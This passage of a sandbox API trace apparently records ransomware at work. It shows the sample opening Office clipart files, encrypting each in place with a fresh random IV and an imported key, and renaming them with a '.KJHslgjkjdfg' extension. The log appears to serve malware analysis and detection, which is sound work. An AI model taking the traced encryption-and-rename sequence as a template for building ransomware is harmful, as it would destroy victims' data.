(hKey=0x9b6628) returned 1 [0200.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.340] SetEndOfFile (hFile=0x130) returned 1 [0200.342] GetProcessHeap () returned 0x990000 [0200.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.342] GetProcessHeap () returned 0x990000 [0200.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.kjhslgjkjdfg")) returned 1 [0200.343] CloseHandle (hObject=0x130) returned 1 [0200.343] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0200.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.344] GetProcessHeap () returned 0x990000 [0200.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.344] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.344] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0200.346] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.346] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.346] GetProcessHeap () returned 0x990000 [0200.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.346] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.346] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.346] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.346] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.346] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.346] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.347] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.347] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.347] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf56, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf56, lpOverlapped=0x0) returned 1 [0200.347] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf60, dwBufLen=0xf60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf60) returned 1 [0200.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.347] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf60, lpOverlapped=0x0) returned 1 [0200.347] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.347] SetEndOfFile (hFile=0x130) returned 1 [0200.350] GetProcessHeap () returned 0x990000 [0200.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.350] GetProcessHeap () returned 0x990000 [0200.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.kjhslgjkjdfg")) returned 1 [0200.351] CloseHandle (hObject=0x130) returned 1 [0200.351] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0200.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.352] GetProcessHeap () returned 0x990000 [0200.352] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.352] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.352] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0200.354] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.354] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.354] GetProcessHeap () returned 0x990000 [0200.354] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.354] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.354] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.355] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.355] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.355] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.355] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.355] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf6a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf6a, lpOverlapped=0x0) returned 1 [0200.355] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf70, dwBufLen=0xf70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf70) returned 1 [0200.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.355] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf70, lpOverlapped=0x0) returned 1 [0200.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.356] SetEndOfFile (hFile=0x130) returned 1 [0200.358] GetProcessHeap () returned 0x990000 [0200.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.358] GetProcessHeap () returned 0x990000 [0200.358] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.kjhslgjkjdfg")) returned 1 [0200.359] CloseHandle (hObject=0x130) returned 1 [0200.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0200.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.361] GetProcessHeap () returned 0x990000 [0200.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.361] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.361] GetProcessHeap () returned 0x990000 [0200.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.361] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.363] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.363] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.363] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4330, lpOverlapped=0x0) returned 1 [0200.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4330, dwBufLen=0x4330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4330) returned 1 [0200.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.365] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4330, lpOverlapped=0x0) returned 1 [0200.365] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.365] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.365] SetEndOfFile (hFile=0x130) returned 1 [0200.367] GetProcessHeap () returned 0x990000 [0200.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.367] GetProcessHeap () returned 0x990000 [0200.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.kjhslgjkjdfg")) returned 1 [0200.368] CloseHandle (hObject=0x130) returned 1 [0200.368] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0200.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.369] GetProcessHeap () returned 0x990000 [0200.369] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.369] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.369] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0200.372] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.372] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.372] GetProcessHeap () returned 0x990000 [0200.372] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.372] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.372] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.372] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.372] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.372] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.372] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.372] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.373] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.373] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.373] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.373] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11dee, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11dee, lpOverlapped=0x0) returned 1 [0200.374] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11df0, dwBufLen=0x11df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11df0) returned 1 [0200.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.376] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11df0, lpOverlapped=0x0) returned 1 [0200.376] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.376] SetEndOfFile (hFile=0x130) returned 1 [0200.378] GetProcessHeap () returned 0x990000 [0200.378] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.378] GetProcessHeap () returned 0x990000 [0200.378] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.kjhslgjkjdfg")) returned 1 [0200.380] CloseHandle (hObject=0x130) returned 1 [0200.380] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0200.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.381] GetProcessHeap () returned 